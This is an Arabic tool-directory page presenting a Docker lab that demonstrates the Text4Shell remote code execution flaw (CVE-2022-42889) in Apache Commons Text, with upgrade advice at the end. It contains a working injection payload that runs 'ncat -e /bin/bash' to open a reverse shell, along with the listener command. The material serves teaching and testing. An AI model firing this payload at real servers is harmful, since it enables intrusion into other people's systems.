Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-42889-POC — تطبيق Docker بسيط يوضح كيفية استغلال الثغرة CVE-2022-42889. | Kitploit
أدوات/GitHubGitHub/akshayithape-devops/cve-2022-42889-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمتطوير الحمولاتمختبرات وتدريب عملي
GitHubakshayithape-devops/cve-2022-42889-poc

CVE-2022-42889-POC

تطبيق Docker بسيط يوضح كيفية استغلال الثغرة CVE-2022-42889.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
51منذ 3 سنواتلم تتم المراجعة بعد

CVE-2022-42889-POC

إثبات المفهوم لثغرة Apache Commons-text CVE-2022-42889.

ما المشكلة:

يقوم Apache Commons Text بإجراء الاستيفاء المتغير (Variable Interpolation)، مما يسمح بتقييم الخصائص وتوسيعها ديناميكيًا. التنسيق القياسي للاستيفاء هو "${prefix:name}"، حيث يُستخدم "prefix" لتحديد مثيل من org.apache.commons.text.lookup.StringLookup الذي يقوم بالاستيفاء. بدءًا من الإصدار 1.5 وحتى الإصدار 1.9، تضمنت مجموعة مثيلات Lookup الافتراضية عوامل استيفاء يمكن أن تؤدي إلى تنفيذ تعليمات برمجية عشوائية أو الاتصال بخوادم بعيدة. هذه العوامل هي:

  • "script" - تنفيذ التعبيرات باستخدام محرك تنفيذ النصوص في JVM (javax.script)
  • "dns" - حل سجلات DNS
  • "url" - تحميل القيم من عناوين URL، بما في ذلك من الخوادم البعيدة قد تكون التطبيقات التي تستخدم إعدادات الاستيفاء الافتراضية في الإصدارات المتأثرة عرضة لتنفيذ تعليمات برمجية عن بُعد أو اتصال غير مقصود بخوادم بعيدة إذا تم استخدام قيم تكوين غير موثوقة.

الإصدارات المتأثرة:

Apache Commons Text الإصدار 1.5 إلى 1.9

دليل خطوة بخطوة لإظهار ثغرة CVE-2022-42889-POC:

1. بناء التطبيق باستخدام Docker (الطرفية 1)

root@kitploit:~
docker build --tag=test/text4shell .

2. تشغيل التطبيق (الطرفية 2)

root@kitploit:~
docker run -it -p 80:8080 --name text4shell test/text4shell

3. افتح علامة تبويب طرفية جديدة وقم بتشغيل الأمر أدناه (الطرفية 3)

root@kitploit:~
docker exec -it text4shell /bin/bash

4. حان الوقت الآن لبدء المستمع للـ reverse shell على نظامك المحلي (الطرفية 4)

root@kitploit:~
nc -nlvp 8888

5. اختبر التطبيق (الطرفية 5)

root@kitploit:~
curl http://localhost/text4shell/attack?search=<anything>

6. حان الوقت الآن لاختبار الهجوم (الطرفية 5)

يمكن تنفيذ الهجوم عن طريق تمرير سلسلة نصية "${prefix:name}" حيث يكون البادئة هي lookup المذكورة: ${script:javascript:java.lang.Runtime.getRuntime().exec('ncat -e /bin/bash 172.17.0.1 8888')}

root@kitploit:~
curl http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ncat%20-e%20%2Fbin%2Fbash%20172.17.0.1%208888%27%29%7D

7. اذهب إلى الطرفية 3 وقم بتنفيذ الأوامر التالية واحدًا تلو الآخر

root@kitploit:~
pwd
cd /root
pwd
ls

8. اذهب إلى الطرفية 5 وقم بتنفيذ الأوامر التالية واحدًا تلو الآخر

root@kitploit:~
pwd
cd /root
pwd
ls
touch hacked.txt
ls

9. اذهب إلى الطرفية 3 وقم بتنفيذ الأوامر التالية واحدًا تلو الآخر

root@kitploit:~
pwd
ls

إذا تمكنت من رؤية ملف hacked.txt في الطرفية 3 بعد أمر ls، فقد تم تنفيذ الهجوم.

10. أغلق جميع الطرفيات

كيفية إصلاح هذه الثغرة:

يُنصح المستخدمون بالترقية إلى Apache Commons Text 1.10.0، الذي يقوم بتعطيل عوامل الاستيفاء الإشكالية افتراضيًا.

مزيد من المعلومات:

  • NVD-NIST
تنزيل الأداة